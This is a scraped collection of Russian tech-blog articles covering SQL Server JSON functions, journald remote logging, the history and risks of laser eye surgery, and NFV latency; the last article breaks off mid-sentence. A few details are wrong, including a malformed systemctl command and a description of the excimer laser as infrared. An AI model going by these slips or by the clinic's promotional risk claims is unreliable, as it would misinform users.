ON jsonFullTextCatalog; Полнотекстовый индекс полезен, если вам нужно оптимизировать запросы, которые ищут какое-либо значение в массиве JSON: SELECT PersonID, FirstName,LastName,vEmailAddresses FROM Person WHERE CONTAINS(vEmailAddresses, '[email protected]') Этот запрос вернет строки из Person, где массив электронных адресов содержит „[email protected]“. Полнотекстовый индекс не имеет специальных правил парсинга JSON. Он делит массив, используя разделители (двойные кавычки, запятые, квадратные скобки) и индексирует значения в массиве. Полнотекстовый индекс применим к массивам чисел или строк. Если у вас более сложные объекты в JSON, полнотекстовый индекс неприменим, так как он не сможет отличить ключи от значений. В общем, одни и те же принципы создания индексов могут применяться к обычным столбцам или столбцам JSON. Экспорт данных в JSON – FOR JSON В SQL Server есть возможность преобразования реляционных данных в JSON с помощью конструкции FOR JSON. Если вам знакома конструкция FOR XML, то вы уже практически знаете и FOR JSON. Пример Исходные данные | Number | Date | Customer | Price | Quantity | -------------------------------------------------------------------- | S043659 | 2011-05-31 00:00:00.000 | Microsoft | 59.99 | 1 | | S043661 | 2011-06-01 00:00:00.000 | Nokia | 24.99 | 3 | SQL-запрос SELECT Number AS [Order.Number], Date AS [Order.Date], Customer AS [Account], Price AS 'Item.UnitPrice', Quantity AS 'Item.Qty' FROM SalesOrder FOR JSON PATH, ROOT('Orders') Результирующий JSON { "Orders": [ { "Order": { "Number": "S043659", "Date": "2011-05-31T00:00:00" }, "Account": "Microsoft", "Item": { "UnitPrice": 59.99, "Qty": 1 } }, { "Order": { "Number": "S043661", "Date": "2011-06-01T00:00:00" }, "Account": "Nokia", "Item": { "UnitPrice": 24.99, "Qty": 3 } } ] } Когда вы добавляете FOR JSON в конец SELECT запроса, SQL Server форматирует результат в виде JSON. Каждая строка будет представлена как один объект JSON, значения из ячеек будут значениями JSON, а названия столбцов будут использованы как ключи. Есть 2 типа конструкций FOR JSON: FOR JSON PATH позволяет определить структуру JSON на выходе, используя названия столбцов. Если вы используете разделенные точкой имена как синонимы столбцов, свойства JSON будут следовать соглашениям по именованию. Это похоже на FOR XML PATH где вы можете указать путь, разделенный слешами. FOR JSON AUTO автоматически создает вложенные массивы на базе иерархии таблиц в запросе. Похоже на FOR XML AUTO. Заключение JSON функции в SQL Server позволяют запрашивать и анализировать данные в виде JSON, а также преобразовывать их в реляционный вид и наоборот. Это позволяет интегрировать SQL Server во внешние системы, которые отдают или принимают JSON без дополнительных преобразований. SQL Server также предлагает гибридную модель хранения, когда вы комбинируете реляционные данные и данные JSON в одной таблице. Такая модель позволяет получить компромисс между высокой скоростью доступа к данным и гибкими возможностями разработки приложений. Кроме того, вы можете индексировать значения в JSON как обычные столбцы, а также преобразовывать реляционные данные в JSON с помощью FOR JSON и обратно, используя OPENJSON.
https://habrahabr.ru/post/317166/
habrahabr
Удаленное логирование в journald или Всё ещё «это вам не нужно»?
['journald', 'systemd']
Дисклеймер Все эксперименты проводились на CentOS Linux release 7.2.1511 в качестве основной системы, с последними доступными из стоковой репы systemd (systemd-219-19.el7_2.13). Надеюсь, часть...
Дисклеймер Все эксперименты проводились на CentOS Linux release 7.2.1511 в качестве основной системы, с последними доступными из стоковой репы systemd (systemd-219-19.el7_2.13). Надеюсь, часть приведенных данных будет неактуальна уже на момент публикации статьи. Вводная часть Начав захватывать linux-дистрибутивы с выпуска Fedora 15, systemd окончательно победил. Зубры и аксакалы понемногу приучаются к unit'ам и systemctl. Скрежещат зубами последние защитники Старого Доброго. В этих реалиях невозможно обойти дочерние продукты systemd. И сегодня давайте поговорим, например, про journald. Сам по себе journald (и соответственно journalctl) — прекрасный инструмент. Зародившийся как слегка сторонний к systemd проект, к нынешнему времени journald стал вторым инструментом из семейства systemd, с которым знакомятся системные администраторы. Мне действительно нравится идея рантайм хранилища логов с опциональной возможностью сброса на постоянное хранение, задумка с boot-id journalctl --boot и machine-id ( journalctl --machine ), возможность из единого интерфейса вызывать логи любых зарегистрированных приложений journalctl -u , а также наличие "из коробки" ротации логов (как по месту, так и по времени) при помощи journalctl --vacuum-size или journalctl --vacuum-time . Из хорошего нельзя не упомянуть ещё и параметры since , until и priority , которыми можно "грепать" события по времени и приоритету, и, разумеется, параметр utc , снимающий огромную головную боль с мульти-таймзонными командами и проектами. Может быть немного спорным бинарный формат хранения файлов, но этот выбор был объяснен авторами ещё при первых анонсах journald (безопасность и дешевизна хранения, интеграция с systemd, принудительный единый формат, переносимость). К сожалению, не приобрел большого распространения механизм каталогов journald, который позволяет, например, организовать перевод сообщений логов или предоставить конечным пользователям url для решения проблем с конкретными ошибками. Но в целом даже разработчики systemd не пользуются этой возможностью полностью — куда уж нам, смертным. Это всё реализовано, работает, описано в сотнях мануалов, проверено. Большое спасибо, но я хочу больше. Преамбула Не так давно один приятель попросил настроить ему сервер для сбора логов. Хха! — подумал я, — это же прекрасный повод изучить journald в свете его возможностей центрального лог-сервера! Понятное дело, что инструмент зависит от задачи. Вот и в этот раз был проведен краткий сбор требований: Необходимо организовать единую точку логирования Необходимо организовать возможность подключения к единой точке логирования заранее неизвестного количества клиентов (и их отключение, соответственно) Желательно организовать возможность просмотра логов online, с автоматическим получением новых записей При выполнении предыдущего пункта, хранение логов на центральной точке можно ограничить N часами (даже не днями) Формат сообщений непостоянен вплоть до мультилайна Ключевое интересующее ПО пишет в stdout (да, можно изменить поведение или накостылить, но покупаем, что продают), консоль не закрывает И общетехническая вводная: Данные передаются по паблик-сетям Головная выделенная машина: Centos7.2 (latest) Подключаемые машины: Ubuntu 16.04 Кажется, что systemd и journald хороший выбор, верно? Ведь все пункты уже реализованы! Поднимаем тестовый стенд! Головной хост Ну что же, начнём. Нас интересуют три компонента: systemd-journal-gatewayd — http-демон, открывающий порт для просмотра (или скачивания) записей журнала systemd-journal-remote — демон, скачивающий или принимающий записи журналов на центральном сервере systemd-journal-upload — демон, дублирующий записи журналов на удаленный сервер Все эти компоненты входят в centos-пакет systemd-journal-gateway , так что выполняем: yum -y update && yum -y install systemd-journal-gateway За получение логов на головной машине используется демон systemd-journal-remote . С него и начнём. systemd-journal-remote У remote есть два режима работы: активный (при котором он сам ходит в удаленный журнал и скачивает логи — в том числе в режиме слежения. Для этого режима на всех удаленных машинах нужен systemd-journal-gatewayd ) и пассивный (при котором демон висит и ждёт, пока к нему придут). С учетом неизвестного количества машин — выбираем пассивный режим. Вся настройка, собственно, заключается в том, чтобы сделать директорию /var/log/journal/remote , назначить ей права нужного пользователя и запустить сервис: mkdir -p /var/log/journal/remote chown systemd-journal-remote:systemd-journal-remote /var/log/journal/remote systemctl start /var/log/journal/remote Поскольку мы собираем демо-стенд, давайте переключим протокол приёма файлов с https на http. Для этого необходимо отредатировать стартовый сервис-файл /lib/systemd/system/systemd-journal-remote.service , заменив опцию listen-https на listen-http . Также будет полезно поправить /lib/systemd/system/systemd-journal-remote.socket , указав только интересующий нас адрес для биндинга демона. Демон стартовал, висит в пассивном режиме, работает по http. Ура! Дьявол в деталях Во-первых, при создании директории /var/log/journal все ваши системные логи начнут писаться в директорию /var/log/journal/<uuid> . Чтобы изменить это поведение и вернуть как было, надо заправить конфигурационный файл /etc/systemd/journald.conf (а лучше даже /etc/systemd/journald.conf.d/<ваш конфиг>.conf , т.к. первый может перетереться при обновлениях), а именно строку Storage= . По умолчанию, значение этого параметра auto , что означает "если есть директория в var, journald записывает логи туда". В моём случае, параметр надо было принудительно выставить в volatile . systemd-journal-upload С upload всё ещё проще: создаём /etc/systemd/journal-upload.d/<ваш конфиг>.conf , записав туда: [Upload] URL=http://<IP-адрес remote>:<порт удаленного демона> и запустим systemctl start systemd-journal-upload Дьявол в деталях Во-вторых, демон не запустится благодаря очень старой баге в Centos . Так что делайте usermod руками: usermod -a -G systemd-journal systemd-journal-upload . После этого демон должен стартовать успешно. Удаленные клиенты На удаленных клиентах, напомню, стоит Ubuntu 16.04. Так что ставим там apt-get install systemd-journal-remote и проводим правки /etc/systemd/journal-upload.d/<ваш конфиг>.conf , аналогичные предыдущему пункту (кроме usermod ). systemd-journal-gatewayd А тут, собственно, описывать нечего. Текущая версия, представленная в Centos, не позволяет указывать нестандартные директории для указанного демона. Причем стандартная директория для логов с других машин, по логике разработчиков, является нестандартной для просмотрщика логов. В новых версиях systemd это, кажется, исправлено , но мы же не будем ставить неродные версии... Ну что же, давайте хотя бы понаблюдаем за логами: journalctl -D /var/log/journal/remote --follow Ну, что-то вроде работает... Дьявол в деталях В третьих, благодаря старой баге в systemd , у вас начнёт дичайше пухнуть директория /var/log/journal/remote . И тут вам не поможет ничего... Дойдём до конца! Тем не менее, раз уж мы зашли так далеко, давайте дойдём до конца. Запускаем на головной машине демон systemd-journal-gatewayd (опять не забываем поправить /lib/systemd/system/systemd-journal-gatewayd.socket , чтобы ограничить демона, да?) и внимательно изучаем веб-интерфейс просмотрщика: Подкачка логов online фактически отсутствует Лютые on mouse over и on mouse scroll для логов microhttpd под капотом Простите, но ужасающий интерфейс Есть возможность фильтрации логов по systemd-unit, но (в связи с количеством неинформативных session-юнитов например от крон-скриптов) невозможность пользоваться фильтрами Все юниты пишутся полностью — если вы используете например пароли к базам данных в крон-строках, ваши пароли будут вас ждать Нда. Возможно, и хорошо, что не получилось его настроить, м? Итого Для proof of concept за пару дней был написан pet-проект , благо journald предоставляет родную библиотеку для питона. Из особенностей: Онлайн-просмотр по SSE Возможность фильтровать выводимые юниты администратором на уровне конфигурации Возможность фильтровать хосты/приоритет/юниты пользователем на уровне веб-приложения Ну и немножко бутстрапа Этот же проект был раскатан приятелю, с описанием имеющихся проблем, отказом от ответственности и принудительной очисткой журналов. Но на больших проектах лично я наверное ещё долго не буду использовать journald в качестве центрального хранилища логов. До тех пор, пока не будут убраны приведенные выше баги, мой выбор — однозначно в пользу syslog. Автор статьи: Степан Карамышев
https://habrahabr.ru/company/centosadmin/blog/317182/
habrahabr
История операций по коррекции зрения: сравнение рисков и побочных эффектов
['глаза', 'зрение', 'глаз', 'операция', 'femtoLASIK', 'LASIK', 'SMILE', 'ReLEx', 'коррекция']
Механическое устройство, выстреливающее или медленно двигающее лезвием для срезания верхней части роговицы глаза Начнём с истории, чтобы было понятно, как эволюционировали методы, а потом...
Механическое устройство, выстреливающее или медленно двигающее лезвием для срезания верхней части роговицы глаза Начнём с истории, чтобы было понятно, как эволюционировали методы, а потом перейдём к рискам и побочным эффектам современных операций. Итак, доктор Снеллен, который изобрёл таблицу проверки зрения, выдвинул теорию о том, что можно «поцарапать» глаз так, что кривизна роговицы изменится. Случилось это в 1869 году (в этом же году появилась таблица Менделеева и докопали Суэцкий канал), поэтому «царапать» тогда могли только металлическим скальпелем. Офтальмологии как отдельной науки официально не было, и занимались ей обычные хирурги — те же самые, которые бодро отпиливали руки и ноги при возникновении инфекции. К глазам они приступать поначалу не решались: пациент вроде жив, шевелится и не кричит, значит, трогать его пока нет достаточных оснований. Поэтому первая операция по коррекции зрения была проведена доктором Лансом в Голландии только через 30 лет, в 1898 году. Следующим отличившимся персонажем стал выдающийся советский хирург академик Святослав Николаевич Фёдоров, который предложил очень своеобразный метод: точечно нагревать роговицу глаза до тех пор, пока она не деформируется. Но вместе с японским офтальмологом Сато они быстро перешли к надрезам. Сато резал изнутри и тем самым создавал много осложнений, а Фёдоров делал насечки алмазным ножом снаружи. Эти самые надрезы фактически и положили начало современным лазерным операциям. Скальпель Надо сказать, что офтальмология как отдельная специальность появилась в Германии в середине девятнадцатого века (1857 г.), когда родилось немецкое общество офтальмологов. В США, например, до 50-х годов двадцатого века это называлось «секция офтальмологии» и находилось в департаменте общей хирургии. С. Н. Фёдоров из СССР, Сато из Японии и Роуси из США в 80-х годах пришли к похожим выводам. Сначала они нагревали роговицу до нужной стадии деформации и смотрели, что будет с оптикой пациента. Роговица пациента остывала, он успокаивался, видел хорошо, но через некоторое время эффект пропадал. Поэтому ветка была признана неудачной, и хирурги взялись за разрезы. Точнее, настоящий толчок появился тогда, когда они стали делать насечки на роговице. Идея была Сато, но у него результаты были прогнозируемо плохими. Сато поначалу делал насечки изнутри наверх, то есть получал доступ к внутренней (нижней) части роговицы глаза и резал через эндотелий — нижний слой роговицы. Эндотелий предсказуемо не регенерировал, роговицы мутнели. Потом в результате опытов быстро появилась методика насечек на поверхности через эпителий и боуменову мембрану прямо в строму. В 1972 году академик С. Н. Фёдоров опубликовал системный научный труд, где описал методику операции и механику различных разрезов. До этого момента в сфере царила случайность — каждый делал, полагаясь только на свой небогатый опыт и не очень-то понимая архитектуру глаза. Диагностика — вручную, глубина реза — интуитивно, количество насечек — в зависимости от размера пальцев доктора. С. Н. Фёдоров назвал операцию радиальной кератотомией. Она приобрела популярность в СССР и США, а также в Латинской Америке. Скоро появилась версия Линдстрома — так называемая мини-РКТ, чуть менее инвазивная. В СССР начали делать её массово, в Колумбии и США — тоже. В Западной Европе почти не было последователей из-за консерватизма. Технология нанесения самих насечек менялась незначительно: теория С. Н. Фёдорова прекрасно работала, разве что инструменты стали чуть точнее — металлические скальпели заменили на алмазные. Через 10 лет набрался клинический опыт. И вышло первое десятилетнее исследование по РКТ Джорджа Ворринга Третьего — ему удалось показать, что РКТ хорошо работает, но происходит гиперметропизация: люди становятся со временем более дальнозоркими. Вальтер Секундо, кстати, общался и с ним, и с российскими хирургами, когда разрабатывал свою методику лазерной коррекции, и говорил, что именно в СССР хирурги получили огромный опыт лечения таких осложнений, поскольку они очень часто встречались (благодаря массовости операций — их сделали больше миллиона). Эксимерный лазер Потом появился первый инфракрасный эксимерный лазер. Считается, что его впервые использовал Стив Торкель, который придумал, как использовать промышленный лазер в медицине. За счёт того, что все изменения рефракции делались на тот момент резом, он решил просто заменить металлический скальпель на алмазный, а алмазный на ещё более точный — лазерный. Да-да, это тогда делалось вручную лазерным станком, по сути. Начали испытывать — получилось, что лазер на специальных направляющих позволяет добиться куда большей точности, чем ручной рез. И началась эпоха автоматизации операций рефракционной хирургии. Проблемы были в том, что эксимерные лазеры грели роговицу, и она просто зарастала в местах разрезов. Радиальная коррекция работает так, что вы ослабляете механику роговицы, надрезая, выпаривая или изымая оттуда часть коллагеновых волокон. Затем она проседает посредине и смыкается. Тогда шли с середины «звёздочкой», роговица становилась более плоской. Есть разные методики — мы застали с докоррекциями лазером больных на «всего 16 разрезов», а есть те, у которых 32 разреза. В МНТК тогда создали фактически конвейер, где люди двигались по кругу, и каждый хирург делал единственный этап операции. Доктор Маргуерит Макдональд (кстати, ей, наверное, за 75 лет, ведь она преподавала у Вальтера в конце 80-х на кафедре Луизианского государственного университета в Нью-Орлеане) первой сделала в 1985-м операцию, названную фоторефрактивной кератэктомией (ФРК). Лазер она решила использовать, скорее, как шлифовальный инструмент (по методике Сринивазана и Бренена, описанной в 1983-м, но не опробованной). На операции пациенту «сточили» часть роговицы. В центре роговицы выпарили много ткани, дальше к краям — чуть меньше. Получалось, что линза, которая образовывается роговицей, меняла ее оптические свойства. Принцип ФРК Проблемы на тот момент были в том, что рабочая зона лазера выбиралась около 4 миллиметров — дальше к краям не ходили. А зрачок здорового человека раскрывается в темноте иногда до 6–8 миллиметров, то есть прямо напротив зрачка оказывалось кольцо, образованное резом. Отсюда — сильные гало-эффекты, то есть очень интересное изображение любых источников света ночью. В общем, пациенты ночью оказывались если не беспомощными, то близкими к этому состоянию: свет едущей навстречу машины лишал их способности ориентироваться. В 90-х начали производить лазеры массово, а потом довольно быстро расширили рабочую область. С тех пор ФРК не особо сильно поменялась — сегодня эта методика ещё жива (почему — ниже), но выполняется более современными устройствами и широкими зонами абляции, менее травматично. Но если вы решитесь на эту операцию — помните, что боуменову мембрану она просто уничтожает. Но, надо признать, в некоторых случаях это вполне допустимая потеря. LASIK Примерно одновременно с ФРК появилась идея не выпаривать «шлифовкой» линзу на поверхности глаза, а снимать верхний слой роговицы, вырезать под ним полость, а потом пришивать верхний слой обратно. Собственно, поначалу доктор Зейлер из Берлина, работавший с помутнениями и поверхностными рубцами, придумал операцию ФТК с помощью эксимерного лазера (дедушка-гуру офтальмологии Тео Зейлер, кстати, до сих пор лечит в Цюрихе, у него своя клиника). Исходя из его практических разработок и теории Хоссе Барракера из 50-х, доктор Иоаннис Полликарис с теплого острова Крит придумал практическое воплощение этого метода. Хоссе Барракер, надо сказать, был неординарной личностью. В 49 году, до лазеров, до систематизации и до появления нормальной методологии, он просто клал пациента поспать, срезал ему поверхность роговицы первого глаза, быстро замораживал, ехал на другой конец города, шлифовал эту льдинку как надо на ювелирном производстве, а потом ехал назад в операционную. К моменту приезда роговица таяла, и он уже переделанную часть пришивал обратно к пациенту. Собственно, опуская поездку на другой конец города и общую романтику 50-х, даже мы застали в 92–93 году именно такие операции кератомилёза. Конечно, система была современнее — делали первый разрез, чтобы поднять «шапочку» на одном лоскуте, потом второй разрез, а потом «шапочку» пришивали назад. Но вернёмся к Полликарису, очаровательному доктору Барракеру и тихому и спокойному Лучио Буратто (он тоже уже дедушка-гуру, живущий в своё удовольствие в Милане и «работающий» на полную катушку). Они все мучились от того, что такой хороший метод даёт не очень точную коррекцию — разброс у среднего хирурга составлял плюс-минус три диоптрии (поэтому применяли его только для пациентов с реально сильной близорукостью). Используя методику Хосе Барракера, Иоаннис Полликарис и Лучио Буратто поняли, что эксимерный лазер позволяет шлифовать роговицу точнее, чем срезать её лезвием. Как в комментарии отметил stAndrew : «Мне флэп резали ножом. Это скорее очень неприятно психологически, когда тебе на глаз кладут шайбочку, которая жужжит и режет зеницу ока по живому. Сейчас флэп делают фемтосекундным лазером.» Кстати, эта «шайбочка» есть на картинке вверху поста. Так появилась процедура LASIK (это аббревиатура: К — это кератомлилёз, остальные буквы — laser assisted, то есть «при поддержке лазера»). Полликарис привнёс в операцию наиболее прогрессивную часть — он оставлял «ножку» или «петлю» для «шапочки», то есть позволял относительно ровно накладывать её обратно, и чтобы ей было за что держаться. Кстати, говоря о смещении флэпа при LASIK и femtoLASIK, стоит помнить, как раз про эту главную проблему. Срезаемая «крышка» держится именно на лоскуте шириной около 20-40 градусов, и сверху покрывается эпителием. И то, что она стоит на месте, а не «отскакивает», обеспечивает именно эпителий. И больше ничего. Поэтому при травмах глаза она может «откинуться». В 1992 году LASIK был введён как массовая операция. LASIK FemtoLASIK и FLEX Хирургам хотелось от лазера большей точности реза и меньшего нагрева тканей. То есть куда большей частоты при куда меньшей энергии импульса. Когда появились первые фемтосекундные лазеры (современные дают импульс в десятки тысяч раз короче, чем первое поколение), сразу начался ажиотаж вокруг них. И не зря. Поначалу был разработан FemtoLASIK — всё тот же самый старый добрый метод очаровательного и гениального Барракера, но уже с куда большей точностью и без особых сюрпризов. Это была прекрасная операция, и она работала как часы. Собственно, и сейчас работает. С помощью фемтосекундного лазера делается разрез по горизонтали (то, что раньше делали укладывающейся на глаз шайбочкой с двигающимся стальным лезвием), затем пациент переносится под эксимерный лазер, внутри стромы роговицы выпаривается линза, а сверху кладётся то, что отрезали вначале. Как работает лазер, я уже писала вот здесь . Но лазер позволял сделать то, что не получалось раньше, а именно, не «пробивая» поверхность роговицы глаза, резать внутри, формируя рез, который вообще может не касаться поверхности. Так появился FLEX — по сути, он не лучше и не хуже femtoLASIK, поскольку там всё равно есть флэп — «лоскут на ножке». Но FLEX делался уже одним лазером, а не двумя, поэтому операция происходила значительно быстрее, да и запаха «паленой роговицы», такого типичного для эксимера, не было. И рез по линзе был криволинейным, что на 2006 год было прорывом. Правда, из-за высокой точности реза (точнее, малой толщины) иногда оставались спайки, которые надо было аккуратно разделять. Тогдашние лазеры только-только обеспечивали нужную частоту, и поэтому кроме спаек могли появиться мостики в результате неточного попадания фокуса (из-за микрокапель жира, например, на поверхности глаза), их тоже надо было разделять шпателем. Поскольку мы живём в мире патентов, конкуренты Zeiss (производителя лазеров) начали срочно придумывать свои аналоги. Очень хорошей эволюционной веткой была история с superLASIK, который делался по специальной wavefront-карте глаза. Все искажения измеряются и передаются в прошивку, которая выстраивает индивидуальный профиль. Минус в том, что часть искажений даёт роговица (её можно корректировать), а часть — хрусталик. С ним сложнее — он растёт всю жизнь, и все преимущества операции могут нивелироваться через 5 или 10 лет. В современных операциях используется принцип асферической линзы на роговице — она делается так, чтобы максимально хорошо «показывать» через сколько угодно лет. Современные оптимизированные профили для сферических аберраций (а именно они больше всего создают проблем вроде «плохо вижу ночью») дают результаты лучше или на уровне с лазерами, которые не имеют асферических профилей, зато решают вопрос по индивидуальным профилям. Если у вас цейсовский лазер MEL-90 или «VISX STAR S4» от АМО, то они позволяют и то и другое. В конце операции почти нет разницы. Отсюда и мифы про «3000 отдельных линз в роговице» и так далее. Цейс обновил математику на новом поколении своих лазеров, и теперь догнать его крайне сложно — по уже как минимум двухлетним клиническим исследованиям его стандартные асферические профили качественнее или не хуже, чем специально спроектированные под конкретную операцию на других лазерах. Теперь уже последние догоняют, поскольку нужна более сложная подготовка пациента, чтобы добиться того же результата. Следующий этап работы с механикой роговицы — FLEX. Это всё тот же старый добрый кератомилёз, только на другом уровне точности. Потом для FLEX стали делать разрез не во всю дугу, а вполовину, а потом профессор Вальтер Секундо и Маркус Блум решили попробовать вырезать линзу внутри целиком и достать её через небольшой разрез. SMILE Так FLEX проэволюционировал до SMILE — это тоже аббревиатура, означает «малоинвазивное извлечение лентикулы». То есть вырезание линзы внутри глаза с последующим её доставанием. Как именно это происходит, можно посмотреть вот тут (меня несколько раз просили предупреждать, поэтому лучше, наверное, не смотреть ссылку за едой, хотя ничего страшного там на самом деле нет). В 2007-м мой партнёр профессор Вальтер Секундо сделал первый SMILE, тогда ещё с двумя разрезами по 5 миллиметров — предполагалось, что второй нужен для того, чтобы при промывании полости лентикулы в строме жидкость могла свободно выйти. Два по 5 — это 10, а не 20, как делалось для FLEX или femtoLASIK, а значит, сохранялось куда больше нервов внутри глаза и куда меньше травмировалась боуменова мембрана. Довольно быстро удалось уменьшить разрезы до 2,5 миллиметров. А затем коллега Вальтера из Индии Рупал Ша доказала, что достаточно всего одного. Сегодня большая часть опытных хирургов работает от 2 до 3 миллиметров (но большая часть российских хирургов — от 3 до 4,5 мм). ICL Если FemtoLASIK и SMILE отлично решают задачи близорукости, то с дальнозоркостью или более сложными эффектами не так просто. Но имея возможность вырезать лентикулу внутри глаза, можно использовать не только эффект схлопывания стромы и формирования новой формы линзы. Можно вставлять в эту полость что-то новое и интересное. Тот же самый неутомимый советский хирург академик С. Н. Фёдоров придумал операцию (в будущем её назвали ICL — имплантируемая контактная линза). Он вставлял линзы или в заднюю камеру глаза, или перед хрусталиком — благо операции по имплантации хрусталика тогда уже были хорошо освоенными. Но у академика С. Н. Фёдорова не было современных материалов, поэтому каждый четвёртый пациент получал неприятный побочный эффект: за счёт ухудшения питания собственного хрусталика начиналось его помутнение. В США был создан новый сополимер — отчасти силикон, отчасти свинья. Точнее, там использовался свиной коллаген. От 25% побочных катаракт удалось уйти до 3%. Операция стала массовой, и началась масса веток улучшения. Целые десятки моделей появлялись и исчезали из-за осложнений. С тех лет компании-производители пару раз поменяли название, но 90% рынка — всё та же «наполовину свинка». Хотя, конечно, линзы теперь делают гибкими, чтобы вводить их через небольшой разрез. На сегодня стабильная операция такого рода разработана Яном Ворстом из Голландии — у него линза с «клешнями», она зацепляется за радужку и держится в передней камере. Профессор Секундо, кстати, специально ездил к Яну Ворсту в Голландию для обучения и понимания технологии изготовления на фабрику Ophtech, которой сейчас руководит Ворст-младший. Что делают сегодня в России и в мире В Германии, со слов профессора Вальтера Секундо, имеющего доступ к коммерческой информации немецкой сети клиник, ситуация 5 лет назад была следующая: ФРК для редких показаний и для городов, где нет отдельной офтальмологии («Как у нас шутят, операция ФРК очень простая, её может освоить при должной ассистенции даже кошка», — рассказывает профессор Секундо). LASIK для тех, у кого нет денег на femtoLASIK. FemtoLASIK и его производные для стандартных случаев. SMILE для тех, кто готов уменьшать риски за дополнительную плату (как VIP-операция у опытных хирургов). За следующие 2 года SMILE стал делаться примерно так же часто, как femtoLASIK. На текущий момент ситуация несколько изменилась. Дело в том, что из-за увеличения частоты лазера и улучшения энергетических параметров точность SMILE стала существенно выше, и 2–3 года назад сравнялась с femtoLASIK на коррекциях от –2 (на меньших femtoLASIK точнее, а ФРК идеальна по точности для –1). Остался вопрос высокой цены, и тут мало что изменится из-за того, что только Цейс умеет пока делать необходимую оптику. Одно включение лазера для операции SMILE для одного глаза стоит 300 евро. Сейчас в Германии в той же сети произошло вот что: ФРК держится в районе 7–10% (тонкая роговица, ряд сложных случаев, малые коррекции около –1 диоптрии, плюс реклама «никто вас даже не тронет», огромная клиническая практика). Обычный LASIK даже пациенты считают почти что за варварство, и его уже нет. Затем по популярности идёт femtoLASIK с аналогами, примерно 10% операций. FLEX — единицы в год, поскольку это уже ненужный эволюционный этап. И затем — SMILE, его примерно 80%. FemtoLASIK, скорее всего, снизится до 5–7%, как и ФРК. У него есть два плюса: во-первых, меньше эвакуируемой ткани по сравнению со SMILE при малой коррекции, ведь лентикула должна иметь ну хотя бы 30 микронов, чтобы за неё ухватиться. Во-вторых, после него быстрее появляется резкое зрение — это день-два, а не 4 дня, а то и неделя. Для некоторых это важно. В России ситуация чуть похуже: LASIK ещё делают из-за низких цен (оборудование для этой операции стоит от 50 до 80 тысяч евро, а операционная с фемтолазером VisuMax Carl Zeiss — полмиллиона евро). SMILE довольно мало распространён. Проблема в высокой цене и, как следствие, малом опыте хирургов — например, некоторые коллеги имеют на всех своих хирургов больше 20 тысяч операций FemtoLASIK, но единицы или десятки — SMILE. Проблема в том, что, как было в одном немецком заголовке, «В рефракционной хирургии снова нужен хирург». То есть надо делать что-то руками, а кадры, которых готовили для LASIKа, ничего руками не делают. Отсюда вопрос квалификации. И недоучек — много где по миру репутацию SMILE несколько портили хирурги, которые не очень-то хорошо умели работать мануально. Поэтому если вас отговаривают от этого метода в клинике — лучше послушаться, скорее всего, они не хотят рисковать, зная своего хирурга. Многие хирурги боятся нового, ибо боятся осложнений. Это нормальное человеческое свойство: все оставить, как было раньше. Кстати, LASIK ещё долго будет жить у нас на рынке хотя бы по той причине, что старые лазеры из Европы уезжают не только в страны третьего мира, но и в Россию, и «оседают» в клиниках-лоукостерах. — Я уже давно сделал femtoLASIK, FLEX, superLASIK или ФРК… не надо было? Если вы делали ФРК по цене, а не по показаниям, у вас нет боуменовой мембраны, и это действительно было не лучшей идеей. Тем не менее пока у вас нет проблем с внутриглазным давлением, риски очень низки. ФРК — хорошая операция с 20-летней историей, и сделана она была точно качественно. Потому что там очень-очень-очень сложно ошибиться в момент самой операции. Если вы делали femtoLASIK или его аналоги, прошло несколько лет и проблем нет — поздравляю, скорее всего, проблем уже и не будет — риск на следующие лет 20 только около 1–2%. Если вы собираетесь делать коррекцию и выбираете между SMILE и femtoLASIK не из-за финансовой составляющей, то SMILE чуть лучше. Однако сейчас в России если вы собрались делать femtoLASIK — знайте, что здравомыслящий хирург сможет сделать эту операцию с минимумом рисков, сама технология отработана, специалисты в мире её отлично знают, цены в целом земные. Я несколько лет назад лично сделала лазерную коррекцию и своей маме, и дочери, да и многие мои коллеги делали лазерную коррекцию себе и своим близким. И есть SMILE. Это снижение вероятности побочных эффектов, грубо говоря, с 2-5% до 0,5%. Причём как естественно обратимых, так и необратимых. Минимально травмируется боуменова мембрана, сохраняется много нервов, которые при других методах коррекции были бы уничтожены. Но это дороже, и требуются навыки хирурга. Если вы доверяете врачу и готовы заплатить за снижение риска необратимых осложнений — выбор достаточно очевиден. В следующем посте будут ответы на все оставшиеся ваши вопросы, подробно про ход операции, защиту лазера от разного рода ЧП, случаи прерывания операции и рассказ про устройство глаза на микроуровне, чтобы было понятно, как идут регенеративные процессы. Чуть позже я ещё расскажу про мировые и российские клиники, на которые стоит обратить внимание.
https://geektimes.ru/company/klinika_shilovoy/blog/283626/
habrahabr
Оптимизация производительности NFV для локального оборудования заказчиков с виртуализацией
['NFV', 'jitter']
В решениях, направленных на виртуализацию реальных сетевых функций, основным фактором является способность обеспечить предсказуемую и гарантированную производительность и пропускную способность для...
В решениях, направленных на виртуализацию реальных сетевых функций, основным фактором является способность обеспечить предсказуемую и гарантированную производительность и пропускную способность для трафика заказчика. Во многих проектах, предназначенных для проверки концепции, уделялось значительное внимание повышению пропускной способности сети, но величина задержек является не менее важным показателем работы сетей (а в ряде случаев — гораздо более важным). В этой статье описывается тестовая среда в лабораториях BT Adastral Park на основе архитектуры Intel Open Network Platform. Эта тестовая среда разработана для оценки производительности локального оборудования заказчиков с виртуализацией. Результаты тестирования свидетельствуют о значительном повышении производительности с точки зрения сокращения задержек и уменьшения дрожания при оптимизации с использованием Data Plane Development Kit. Например, средние задержки удалось сократить на 38–74 % (в зависимости от профиля пакетов), а максимальные задержки сократились в 6 раз. Подобный анализ оптимизации производительности приобретет особую важность для интеллектуального управления нагрузкой и ресурсами как в существующих сетях, так и в перспективных сетях 5G. I. Введение Технология виртуализации сетевых функций (NFV) быстро переходит из лабораторных условий в рабочие среды и в пробную эксплуатацию у реальных заказчиков 1 . Ведется работа по стандартизации: ей занимается соответствующая группа отраслевых технических условий (ISG) в Европейском институте стандартов связи (ETSI) . Основные направления стандартизации — измерение производительности и лучшие методики 2 . Важнейшей метрикой производительности является пропускная способность сетей, но в этой статье проблема производительности рассматривается под другим углом: обсуждается вопрос чувствительности к задержкам. В частности, изучается случай использования локального оборудования заказчиков с виртуализацией (vCPE) в корпорациях, когда определенный набор виртуальных сетевых функций (VNF) обычно находится в локальной ИТ-среде заказчика. В документе ETSI 3 такая модель называется VE-CPE (рис. 1). Примеры сетевых функций в локальной среде заказчика, способных выполняться в качестве VNF на стандартных серверах архитектуры x86 с гипервизором, включают, не ограничиваясь перечисленным, маршрутизаторы, брандмауэры, контроллеры границ сеансов и ускорители глобальных сетей. Филиалам обычно требуется не слишком мощный канал доступа к глобальной сети (по сравнению с центральными офисами): зачастую пропускная способность подключения к глобальной сети может составлять 